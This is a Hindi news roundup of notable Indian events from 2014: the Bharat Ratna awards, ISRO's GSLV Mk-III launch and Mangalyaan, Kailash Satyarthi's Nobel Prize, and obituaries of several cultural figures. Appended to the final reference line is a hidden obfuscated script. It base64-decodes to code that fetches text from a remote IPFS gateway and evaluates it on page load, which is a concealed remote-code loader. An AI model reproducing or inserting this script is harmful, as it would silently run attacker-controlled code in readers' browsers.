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  • वर्ष 2014 के कुछ प्रमुख राष्ट्रीय समाचार निम्नलिखित हैं-

अटल बिहारी वाजपेयी और मदन मोहन मालवीय को भारत रत्न देने की घोषणा

24 दिसम्बर, 2014 बुधवार

भारत के पूर्व प्रधानमंत्री अटल बिहारी वाजपेयी और महामना मदन मोहन मालवीय को देश के सर्वोच्च नागरिक सम्मान 'भारत रत्न' से सम्मानित किए जाने की घोषणा की गई है। केंद्रीय कैबिनेट ने दोनों को यह सम्मान देने का फैसला गुरुवार को वाजपेयी के 90वें जन्मदिन से एक दिन पहले किया है। मालवीय का जन्मदिन भी 25 दिसंबर को ही पड़ता है। राष्ट्रपति भवन की ओर से जारी बयान में कहा गया, 'राष्ट्रपति बेहद हर्ष के साथ पंडित मदन मोहन मालवीय (मरणोपरांत) और अटल बिहारी वाजपेयी को भारत रत्न से सम्मानित करते हैं।'

भारत के सर्वाधिक करिश्माई नेताओं में से एक अटल बिहारी वाजपेयी को एक महान् नेता और अक्सर भारतीय जनता पार्टी का उदारवादी चेहरा बताया जाता है। पिछले कुछ समय से बीमार चल रहे वाजपेयी को कई ठोस पहल करने का श्रेय दिया जाता है, जिनमें भारत और पाकिस्तान के बीच मतभेदों को कम करने का उनका प्रयास प्रमुख रूप से शामिल है। वाजपेयी ऐसे पहले प्रधानमंत्री बने जिनका संबंध कभी कांग्रेस से नहीं रहा।

दूरद्रष्टाऔर महान् शिक्षाविद् महामना मदन मोहन मालवीय की मुख्य उपलब्धियों में बनारस हिन्दू विश्वविद्यालय की स्थापना शामिल है। 25 दिसंबर 1861 को जन्मे मदन मोहन मालवीय 1886 में कोलकाता में कांग्रेस के दूसरे सत्र में अपने पहले विचारोत्तेजक भाषण के तुरंत बाद ही राजनीति में आ गए थे। वह 1909 से 1918 के बीच भारतीय राष्ट्रीय कांग्रेस के अध्यक्ष रहे। मालवीय को स्वतंत्रता संग्राम में उनकी सशक्त भूमिका और हिंदू राष्ट्रवाद के प्रति उनके समर्थन के लिए भी याद किया जाता है। वह दक्षिणपंथी हिंदू महासभा के शुरुआती नेताओं में से एक थे। प्रधानमंत्री नरेन्द्र मोदी ने खुद राष्ट्रपति से इन दोनों महान् हस्तियों को भारत रत्न से सम्मानित करने की सिफारिश की थी।

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सबसे भारी रॉकेट जीएसएलवी मार्क-3 का सफल प्रक्षेपण

गुरुवार, 18 दिसम्बर, 2014

'भारतीय अंतरिक्ष अनुसंधान संगठन' (इसरो) ने अपने अब तक के सबसे भारी रॉकेट जीएसएलवी-एमके 3 को आंध्र प्रदेश में श्रीहरिकोटा स्थित सतीश धवन अंतरिक्ष केंद्र से प्रक्षेपित किया है। इसरो ने इससे पहले 24 सितंबर, 2014 को मंगलयान को सफलतापूर्वक उसकी कक्षा में स्थापित किया था। जीएसएलवी-एमके3 में सी-25 इंजन लगाया गया है। इसकी ऊंचाई 43.43 मीटर है। इस यान के तीन स्तरों पर तीन तरह के ईंधन ठोस, द्रव और क्रायोजनिक का इस्तेमाल किया गया है। जीएसएलवी-एमके3 रॉकेट के निर्माण पर कुल 140 करोड़ रुपये की लागत आई है। क्रू माड्यूल के निर्माण पर 15 करोड़ रुपये ख़र्च हुए हैं। इस सबसे भारी रॉकेट के प्रक्षेपण के साथ ही इसरो इंसान को अंतरिक्ष में ले जाने वाले 3.65 टन वजनी क्रू माड्यूल का परीक्षण भी कर रहा है। यह माड्यूल को रॉकेट में लगाया गया था। इसे पैराशूट के जरिए बंगाल की खाड़ी में सफलतापूर्वक उतारा गया है। इस परीक्षण की सफलता की जानकारी इसरो निदेशक के. राधाकृष्णन ने दी। इस मौके पर इसरो के पूर्व निदेशक डॉ. कस्तूरीरंगन भी मौज़ूद थे। जीएसएलवी-एमके 3 के प्रक्षेपण का उद्देश्य इनसेट-4 जैसे भारी संचार उपग्रहों के प्रक्षेपण में भारत को पूरी तरह आत्मनिर्भर बनाना है। इस सफलता के बाद भारत इनसैट-4 श्रेणी के उपग्रह प्रक्षेपित करने में सक्षम हो गया है। इनसैट-4 श्रेणी के उपग्रह का वजन 4500-5000 किलोग्राम तक होता है। इस श्रेणी के उपग्रहों को अंतरिक्ष में भेजने के लिए भारत अब तक दूसरे देशों पर निर्भर था। इससे भारत अरबों डॉलर के व्यावसायिक बाज़ार में भी अपनी दावेदारी मज़बूत करेगा और दूसरे देशों के इनसैट-4 श्रेणी के उपग्रह अंतरिक्ष में भेज पाएगा।

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भारत के कैलाश सत्यार्थी को नोबेल पुरस्कार

10 अक्टूबर, 2014, शुक्रवार

वर्ष 2014 में शांति के लिए नोबेल पुरस्कार संयुक्त रूप से भारत और पाकिस्तान की झोली में गया। इस पुरस्कार के लिए भारत में बाल अधिकारों के लिए कार्य करने वाले कैलाश सत्यार्थी और लड़कियों की पढ़ाई के लिए संघर्ष करने वाली पाकिस्तान की मलाला यूसुफजई को चुना गया है। नोबेल पुरस्कार समिति ने 10 अक्टूबर, 2014 शुक्रवार को दोनों के नामों की घोषणा की। राष्ट्रपति प्रणब मुखर्जी और प्रधानमंत्री नरेंद्र मोदी समेत कई गणमान्य लोगों ने सत्यार्थी को पुरस्कार के लिए बधाई दी है। पुरस्कार 10 दिसंबर, 2014 को दिया जाएगा। पुरस्कार के रूप में 11 लाख डॉलर (करीब 6 करोड़ 74 लाख रुपये) दिए जाएंगे। कैलाश सत्यार्थी भारत में एक गैर सरकारी संगठन (बचपन बचाओ आंदोलन) का संचालन करते हैं। यह एनजीओ बाल श्रम और बाल तस्करी में फंसे बच्चों को मुक्त कराने की दिशा में कार्य करता है। नोबेल पुरस्कारों की ज्यूरी ने कहा, "नार्वे की नोबेल कमेटी ने बच्चों और युवाओं पर दबाव के विरुद्ध और सभी बच्चों को शिक्षा मुहैया कराने के लिए किए गए संघर्षों को देखते हुए कैलाश सत्यार्थी और मलाला यूसुफजई को 2014 का नोबेल शांति पुरस्कार देने का फैसला किया है।" नोबेल कमेटी ने कहा कि "बचपन बचाओ आंदोलन" नामक एनजीओ चलाने वाले सत्यार्थी ने गांधी जी की परंपरा को कायम रखा है और वित्तीय लाभ के लिए बच्चों के शोषण के ख़िलाफ़ कई शांतिपूर्ण विरोध प्रदर्शनों की अगुआई की है। कैलाश सत्यार्थी इंटरनेशनल सेंटर ऑन चाइल्ड लेबर और यूनेस्को से जुड़े रहे हैं। शांति के नोबेल पुरस्कार के 278 दावेदार थे जिनमें पोप फ्रांसिस, बान की मून, एडवर्ड स्नोडेन, कांगो के डॉक्टर डेनिस मुक्वेग, उरुग्वे के राष्ट्रपति जोस मोजिस जैसे बड़े नाम शामिल थे।

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मंगलयान सफल, भारत ने इतिहास रचा

मंगलयान द्वारा भेजी गई मंगल ग्रह की तस्वीर
24 सितम्बर, 2014, बुधवार

भारतीय अंतरिक्ष एजेंसी, इसरो का उपग्रह मंगलयान मंगल ग्रह की अंडाकार कक्षा में सफलतापूर्वक प्रवेश कर चुका है। ये भारत के अंतरिक्ष शोध में एक कालजयी घटना है। इस अभियान की कामयाबी से भारत ऐसा देश बन गया है जिसने एक ही प्रयास में अपना अभियान पूरा कर लिया। भारत ने लिक्विड मोटर इंजन की तकनीक से मंगलयान को मंगल की कक्षा में स्थापित किया। आमतौर पर चांद तक पहुंचने के लिए इसी तकनीक का इस्तेमाल किया जाता है। लेकिन इतने लंबे मिशन पर भारत से पहले किसी ने लिक्विड मोटर इंजन का इस्तेमाल नहीं किया था। एक ओर मंगल मिशन इतिहास के पन्नों पर स्वयं को सुनहरे अक्षरों में दर्ज करा रहा था वहीं दूसरी ओर यहां स्थित भारतीय अंतरिक्ष अनुसंधान संगठन (इसरो) के कमांड केंद्र में अंतिम पल बेहद व्याकुलता भरे थे। अंतरिक्ष वैज्ञानिकों के साथ मंगल मिशन की सफलता के साक्षी बने भारतीय प्रधानमंत्री नरेन्द्र मोदी ने कहा, "विषमताएं हमारे साथ रहीं और मंगल के 51 मिशनों में से 21 मिशन ही सफल हुए हैं, लेकिन हम सफल रहे।" खुशी से फूले नहीं समा रहे प्रधानमंत्री ने इसरो के अध्यक्ष के. राधाकृष्णन की पीठ थपथपाई और अंतरिक्ष की यह अहम उपलब्धि हासिल कर इतिहास रचने के लिए भारतीय अंतरिक्ष वैज्ञानिकों को बधाई दी। भारत के मंगल अभियान का निर्णायक चरण 24 सितंबर को सुबह यान को धीमा करने के साथ ही शुरू हो गया था। इस मिशन की सफलता उन 24 मिनटों पर निर्भर थी, जिस दौरान यान में मौजूद इंजन को चालू किया गया। मंगलयान की गति धीमी करनी थी ताकि ये मंगल की कक्षा में गुरुत्वाकर्षण से खुद-बखुद खिंचा चला जाए और वहां स्थापित हो जाए। इस अंतरिक्ष यान का प्रक्षेपण 5 नवंबर, 2013 को आंध्र प्रदेश के श्रीहरिकोटा से स्वदेश निर्मित पीएसएलवी रॉकेट से किया गया था। यह 1 दिसंबर, 2013 को पृथ्वी के गुरूत्वाकषर्ण से बाहर निकल गया था। अमेरिकी अंतरिक्ष संस्थान 'नासा' का मंगलयान 'मावेन' 22 सितंबर को मंगल की कक्षा में प्रविष्ट हुआ था। भारत के एम.ओ.एम. की कुल लागत मावेन की लागत का मात्र दसवां हिस्सा है। भारत ने इस मिशन पर क़रीब 450 करोड़ रुपए खर्च किए हैं, जो बाकी देशों के अभियानों की तुलना में सबसे ज़्यादा क़िफ़ायती है।

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मशहूर अदाकारा ज़ोहरा सहगल का निधन

गुरुवार, 10 जुलाई, 2014

वयोवृद्ध अभिनेत्री ज़ोहरा सहगल का गुरुवार 10 जुलाई, 2014 को दिल का दौरा पड़ने से निधन हो गया। वे 102 साल की थीं। ज़ोहरा सहगल ने अपने करियर की शुरुआत एक नृत्यांगना एवं नृत्य निर्देशक के रूप में की थी। ज़ोहरा थिएटर को अपना पहला प्यार मानती थीं। ज़ोहरा सहगल ने पृथ्वीराज कपूर के पृथ्वी थिएटर में क़रीब 14 साल तक काम किया। ज़ोहरा सहगल ने पृथ्वीराज कपूर से लेकर रणबीर कपूर तक, बॉलीवुड के मशहूर कपूर परिवार की चार पीढियों के साथ काम किया था। उनकी उम्र हाल तक उनके उत्साह पर हावी नहीं हो पाई थी। जोहरा को विशेष रूप से "भाजी ऑन द बीच" (1992), "हम दिल दे चुके सनम" (1999), "बेंड इट लाइक बेकहम" (2002), "दिल से.." (1998) और "चीनी कम" (2007) जैसी फ़िल्मों में बेहतरीन अभिनय के लिए जाना जाता है। उनकी आख़िरी फ़िल्म "सांवरिया" थी। ज़ोहरा सहगल को 1998 में पद्मश्री, 2002 में पद्मभूषण और 2010 में पद्म विभूषण से नवाजा जा चुका है। दशकों तक हिंदी सिनेमा जगत का अभिन्न हिस्सा रहीं दिवंगत अभिनेत्री ज़ोहरा सहगल का शुक्रवार सुबह दिल्ली में उनके प्रियजनों की उपस्थिति में अंतिम संस्कार किया गया। ज़ोहरा सहगल का अंतिम संस्कार दयानंद मुक्तिधाम शमशान में किया गया। उनके बेटे पवन सहगल ने उनके अंतिम संस्कार की विधियां पूरी कीं। उनकी बेटी किरण सहगल और पोते-पोतियां इस दौरान मौजूद थे।

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साइना नेहवाल ने ऑस्ट्रेलियन सुपर सीरीज जीती

रविवार, 29 जून, 2014

शीर्ष भारतीय बैडमिंटन खिलाड़ी साइना नेहवाल ने फाइनल में स्पेन की कैरोलिना मारिन को हराकर 7,50,000 डालर ईनामी राशि की स्टार ऑस्ट्रेलियन सुपर सीरीज ट्रॉफ़ी अपने नाम की। छठी वरीयता प्राप्त भारतीय खिलाड़ी ने इस साल के शुरू में इंडिया ओपन ग्रांड प्रीक्स गोल्ड खिताब जीता था। उन्होंने 43 मिनट तक चले फाइनल मुकाबले में दबदबे भरा प्रदर्शन करते हुए 21-18, 21-11 से जीत दर्ज की, जिससे उन्हें 56,000 डॉलर की ईनामी राशि मिली। साइना नेहवाल ने पिछली सुपर सीरीज ट्रॉफ़ी जून, 2012 में इंडोनेशिया ओपन में जीती थी। साइना और कैरोलिना के बीच इससे पहले एक बार ही मुकाबला हुआ है, जिसे भारतीय खिलाड़ी ने जीता था। यह मुकाबला पिछले साल इंडोनेशिया में हुआ था। इस जीत के साथ ही साइना ने मारिन के ख़िलाफ़ अपना रेकॉर्ड 2-0 कर लिया।

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गुजरात का ‘रानी की वाव’ और हिमाचल का 'ग्रेट हिमालयन नेशनल पार्क' विश्व धरोहर सूची में शामिल

सोमवार, 23 जून, 2014

यूनेस्को (यूनाइटेड नेशनल एजुकेशनल, साइंटिफिक ऐंड कल्अचरल ऑर्गनाइजेशन) ने 23 जून, 2014 को विश्व धरोहर की सूची में भारत की दो धरोहरों को शामिल किया है। इनमें कल्चरल साइट्स (सांस्कृतिक धरोहर) की श्रेणी में गुजरात के पाटण स्थित रानी की वाव और नेचुरल साइट्स (प्राकृतिक धरोहर) की श्रेणी में हिमाचल प्रदेश के कुल्लू स्थित ग्रेट हिमालयन नेशनल पार्क शामिल हैं। रानी की वाव, गुजरात के पाटण ज़िले में एक सीढ़ी वाला कुआं है। इसे रानी उदयामती ने अपने पति राजा भीमदेव की याद में वर्ष 1063 में बनवाया था। राजा भीमदेव गुजरात के सोलंकी राजवंश के संस्थापक थे। हिमाचल प्रदेश में स्थित ग्रेट हिमालयन नेशनल पार्क कुल 754.4 वर्ग किलोमीटर में फैला हुआ है। यहां दो वन्यजीव अभ्यारण्य हैं।

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प्रख्यात कवि केदारनाथ सिंह को मिला ज्ञानपीठ पुरस्कार

शुक्रवार, 20 जून, 2014

हिंदी की आधुनिक पीढ़ी के रचनाकार केदारनाथ सिंह को वर्ष 2013 के लिए देश का सर्वोच्च साहित्य सम्मान ज्ञानपीठ पुरस्कार प्रदान किया जाएगा। वह यह पुरस्कार पाने वाले हिन्दी के 10वें लेखक हैं। ज्ञानपीठ की ओर से शुक्रवार 20 जून, 2014 को यहां जारी विज्ञप्ति के अनुसार सीताकांत महापात्रा की अध्यक्षता में हुई चयन समिति की बैठक में हिंदी के जाने माने कवि केदारनाथ सिंह को वर्ष 2013 का 49वां ज्ञानपीठ पुरस्कार दिये जाने का निर्णय किया गया। केदारनाथ सिंह इस पुरस्कार को हासिल करने वाले हिंदी के 10वें रचनाकार है। इससे पहले हिन्दी साहित्य के जाने माने हस्ताक्षर सुमित्रानंदन पंत, रामधारी सिंह दिनकर, सच्चिदानंद हीरानंद वात्सयायन अज्ञेय, महादेवी वर्मा, नरेश मेहता, निर्मल वर्मा, कुंवर नारायण, श्रीलाल शुक्ल और अमरकांत को यह पुरस्कार मिल चुका है। पहला ज्ञानपीठ पुरस्कार मलयालम के लेखक गोविंद शंकर कुरुप (1965) को प्रदान किया गया था। पुरस्कार के रूप में प्रो. केदारनाथ सिंह को 11 लाख रुपये, प्रशस्ति पत्र और वाग्देवी की प्रतिमा प्रदान की जाएगी।

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दादा साहब फाल्के पुरस्कार के लिए चुने गए गुलज़ार

12 अप्रॅल, 2014 शनिवार

क़रीब चार दशकों से भारतीय सिने प्रेमियों को अपने गीतों का दीवाना बनाने वाले मशहूर गीतकार गुलज़ार को वर्ष 2013 के लिए दादा साहब फाल्के पुरस्कार दिया गया है। सूचना और प्रसारण मंत्रालय की ओर से जारी बयान के अनुसार प्रतिष्ठित कलाकारों की सात सदस्यीय ज्यूरी ने एकमत से इस पुरस्कार के लिए गुलज़ार के नाम की सिफारिश की। फ़िल्मी हस्तियों को प्रदान किये जाने वाले प्रतिष्ठित दादा साहब फाल्के पुरस्कार के लिए चुने जाने पर गीतकार गुलज़ार ने कहा कि वह सम्मानित महसूस कर रहे हैं और संपूर्णता की अनुभूति हो रही है। ‘तुझसे नाराज़ नहीं ज़िंदगी’ और ‘तेरे बिना ज़िंदगी से’ जैसे अनेक लोकप्रिय गीत लिखने वाले और ‘मेरे अपने’, ‘कोशिश’, ‘खुशबू’, ‘अंगूर’, ‘लिबास’ और ‘माचिस’ जैसी फ़िल्मों का निर्देशन कर चुके 79 वर्षीय गुलजार यह सम्मान पाने वाले 45वीं शख्सियत हैं।

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प्रसिद्ध अभिनेत्री नन्दा का निधन

25 मार्च, 2014 , मंगलवार

अपने बेजोड़ अभिनय के दम पर दिलों पर राज करने वाली गुज़रे जमाने की मशहूर अभिनेत्री नन्दा का 25 मार्च, 2014 मंगलवार को सुबह निधन हो गया। वह 75 साल की थीं। वर्ष 1939 में मराठी फ़िल्मों के प्रसिद्ध अभिनेता एवं निर्देशक विनायक दामोदर कर्नाटकी के घर पैदा हुई नंदा ने एक बाल कलाकार के रूप में अपने अभिनय जीवन की शुरुआत की थी। पिता की असमय मौत के कारण उन्होंने बहुत कम उम्र से अपने परिवार के पालन पोषण की जिम्मेदारी उठा ली थी। नंदा ने मात्र नौ साल की उम्र में बाल कलाकार के रूप में फ़िल्म 'मंदिर' के जरिये फ़िल्मी दुनिया में कदम रखा था। इसके बाद उन्होंने 'जग्गू', 'अंगारे', 'जागृति' जैसी फ़िल्मों में बतौर बाल कलाकार काम किया। नंदा अविवाहित थीं। कई बार उन्हें शादी के प्रस्ताव मिलते रहे लेकिन हर बार किसी किसी न किसी बहाने से उन्होंने शादी नहीं की। इसके बाद 1992 में अपने साथियों के कहने पर उन्होंने फ़िल्म निर्माता मनमोहन देसाई से सगाई की लेकिन दुर्भाग्य से शादी से पहले ही मनमोहन देसाई छत से नीचे गिर गए और उनकी मौत हो गयी।

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मशहूर लेखक एवं पत्रकार खुशवंत सिंह का निधन

20 मार्च, 2014 , गुरुवार

जाने माने पत्रकार और लेखक खुशवंत सिंह का 20 मार्च, 2014 गुरुवार को निधन हो गया। वह 99 वर्ष के थे और उनका जन्म पंजाब (अब पाकिस्तान) में वर्ष 1915 में हुआ था। वह लंबे समय से बीमार चल रहे थे। उनके पुत्र और पत्रकार राहुल सिंह के अनुसार उन्होंने सुजान सिंह पार्क स्थित अपने आवास पर अंतिम सांस ली। उन्हें सांस लेने में कुछ परेशानी थी। खुशवंत सिंह भारत के प्रसिद्ध पत्रकार, लेखक, उपन्यासकार और इतिहासकार थे। एक पत्रकार, स्तंभकार और एक बेबाक लेखक के रुप में उन्हें अंतरराष्ट्रीय ख्याति मिली और अनेक राष्ट्रीय एवं अंतरराष्ट्रीय पुस्कारों से सम्मानित भी किया गया। उन्हें पद्मश्री, पद्म विभूषण जैसे सम्मानों से भी सम्मानित किया जा चुका है। खुशवंत सिंह 'योजना', नेशनल हेराल्ड, हिन्दुस्तान टाइम्स और 'दि इलेस्ट्रेटेड विकली ऑफ़ इंडिया' के संपादक रहे थे। इनके अनेक उपन्यासों में सबसे अधिक प्रसिद्ध 'डेल्ही', 'ट्रेन टू पाकिस्तान', 'दि कंपनी ऑफ़ वूमन' हैं। वर्तमान संदर्भों और प्राकृतिक वातावरण पर भी उनकी कई रचनाएं हैं। दो खंडों में प्रकाशित 'सिक्खों का इतिहास' उनकी प्रसिद्ध ऐतिहासिक कृति है। लगभग 70 वर्ष साहित्य के क्षेत्र में खुशवंत सिंह का विविध आयामी योगदान अत्यंत महत्त्वपूर्ण है। साल 1947 से कुछ सालों तक खुशवंत सिंह जी ने भारत के विदेश मंत्रालय में विदेश सेवा के महत्त्वपूर्ण पदों पर कार्य किया। साल 1980 से 1986 तक वे राज्यसभा के मनोनीत सदस्य रहे।

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यशस्वी साहित्यकार अमरकांत का देहांत

17 फ़रवरी 2014, सोमवार

हिन्दी के यशस्वी कथाकार और प्रेमचंद की परंपरा के महान् रचनाकार अमरकांत का सोमवार 17 फ़रवरी, 2014 को सुबह दस बजे निधन हो गया। अशोक नगर स्थित पंचपुष्प अपार्टमेंट के अपने आवास में स्नान करते वक्त फिसलने के तुरंत बाद उनकी सांसें थम गईं। वह 88 वर्ष के थे। उनका अंतिम संस्कार मंगलवार अपराह्न 11 बजे रसूलाबाद घाट पर किया गया। वह अपने पीछे बेटे-बेटियों और और नाती-पोतों का भरा पूरा परिवार छोड़कर गए हैं। अमरकांत के निधन से साहित्य, कला और संस्कृति से जुड़े लोग स्तब्ध रह गए। हिन्दी साहित्यकार असग़र वजाहत ने अमरकांत के निधन पर शोक जताते हुए कहा, "अमरकांत अपनी पीढ़ी के एक ऐसे कहानीकार थे जिनसे उस समय के युवा कहानीकारों ने बहुत सीखा। वो कहानीकारों में इस रूप में विशेष माने जाएंगे कि एक पूरी पीढ़ी को उन्होंने सिखाया-बताया।" अमरकांत को साल 2007 में साहित्य अकादमी और साल 2009 में ज्ञानपीठ पुरस्कार मिला था।

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भारत के सत्या नडेला बने माइक्रोसॉफ़्ट के सीईओ

4 फ़रवरी, 2014 मंगलवार

माइक्रोसॉफ़्ट कार्पोरेशन के निदेशक मंडल ने भारतीय मूल के सत्या नडेला को माइक्रोसॉफ़्ट के नए सीईओ (मुख्य कार्यकारी अधिकारी) के रूप में चुन लिया है। नडेला माइक्रोसॉफ़्ट के मौजूदा सीईओ स्टीव बॉमर की जगह लेंगे। इससे पहले हैदराबाद में जन्म लेने वाले नडेला माइक्रोसॉफ़्ट के क्लाउड एण्ड एंटरप्राइज़ ग्रुप के कार्यकारी उपाध्यक्ष रहे हैं। यह जानकारी माइक्रोसॉफ़्ट कार्पोरेशन द्वारा जारी एक प्रेस विज्ञप्ति में दी गई है। यह नियुक्ति तत्काल प्रभावी है। सत्या नडेला को माइक्रोसॉफ़्ट के निदेशक मंडल में शामिल किया जाएगा। गौरतलब है कि माइक्रोसॉफ़्ट के सीईओ के लिए पिछले पांच महीने से खोज चल रही थी जब स्टीव बॉमर ने अपने पद से इस्तीफ़ा देने संबंधी अपना इरादा ज़ाहिर किया था। सत्या नडेला सन् 1992 में माइक्रोसॉफ़्ट कार्पोरेशन में शामिल हो गए थे। माइक्रोसॉफ़्ट कार्पोरेशन के संस्थापक बिल गेट्स भी माइक्रोसॉफ़्ट के निदेशक मंडल के अध्यक्ष पद से इस्तीफ़ा दे रहे हैं और अब वह कंपनी के तकनीकी सलाहकार का पद संभालेंगे। निदेशक मंडल के नए अध्यक्ष का पद एक स्वतंत्र निदेशक जॉन थॉम्पसन संभालेंगे।

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प्रसिद्ध फ़िल्म निर्माता-अभिनेता ए. नागेश्वर राव का निधन

22 जनवरी, 2014

भारतीय फ़िल्मोद्योग के सबसे बड़े दादा साहेब फाल्के पुरस्कार से सम्मानित दिग्गज तेलुगू निर्माता-अभिनेता अक्कीनेनी नागेश्वर राव का बुधवार तड़के 22 जनवरी, 2014 को हैदराबाद में निधन हो गया। 91 वर्षीय नागेश्वर राव पिछले कई सालों से कैंसर की बीमारी से जूझ रहे थे। प्यार से 'एएनआर' कहकर पुकारे जाने वाले नागेश्वर राव के बेटे और अभिनेता नागार्जुन ने कहा कि श्री राव का निधन नींद में ही हो गया। नागेश्वर राव को 'तेनालीराम कृष्णा', 'देवदास', 'माया बाज़ार' और 'मिस्साम्मा' जैसी हिट फ़िल्मों में अभिनय के लिए याद किया जाता है। नागेश्वर राव के परिवार में तीन बेटियां और दो बेटे हैं। उनके पुत्र नागार्जुन को हिन्दी फ़िल्मों के दर्शक भी अच्छी तरह जानते हैं, और नागार्जुन की पत्नी अमला भी हिन्दी फ़िल्मों में अभिनय कर चुकी हैं। नागेश्वर राव के कई पौत्र भी अभिनेता के रूप में स्थापित हो चुके हैं। सात दशक से भी अधिक समय तक चले अपने लंबे करियर में नागेश्वर राव ने लगभग 250 तेलुगू और कई तमिल फ़िल्मों में काम किया, और फिलहाल वह 'मनम' शीर्षक से बनाई जा रही फ़िल्म में अभिनय कर रहे थे, जिसमें उनके परिवार की तीनों पीढ़ियों के अभिनेता काम कर रहे थे।

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राजस्थानी साहित्यकार अन्नाराम सुदामा का निधन

2 जनवरी, 2014, गुरुवार

राजस्थानी साहित्यकार अन्नाराम सुदामा का गुरुवार 2 जनवरी, 2014 को निधन हो गया। वे 90 वर्ष के थे। सुदामा का जन्म 23 मई, 1923 को हुआ था। उन्होंने कई उपन्यास, कहानियां, नाटक, निबंध आदि की पुस्तकें लिखी थी। सुदामा का राजस्थानी उपन्यास जयनारायण व्यास विश्वविद्यालय जोधपुर और महर्षि दयानंद विश्वविद्यालय अजमेर में एम.ए. और बी.ए. के पाठ्यक्रम में शामिल रहा। केन्द्रीय साहित्य अकादमी से 'मेवै रां रूंख' उपन्यास अंग्रेज़ी एवं हिन्दी अनुवाद प्रकाशित हुआ। सुदामा के निधन पर ज़िला कलेक्टर आरती डोगरा ने शोक जताया है। कलेक्टर की ओर से सुदामा के पार्थिव देह पर पुष्पांजलि अर्पित की।[1]


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टीका टिप्पणी और संदर्भ

  1. साहित्य के सुदामा नहीं रहे (हिंदी) प्रेसनोट। अभिगमन तिथि: 4 जनवरी, 2014।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>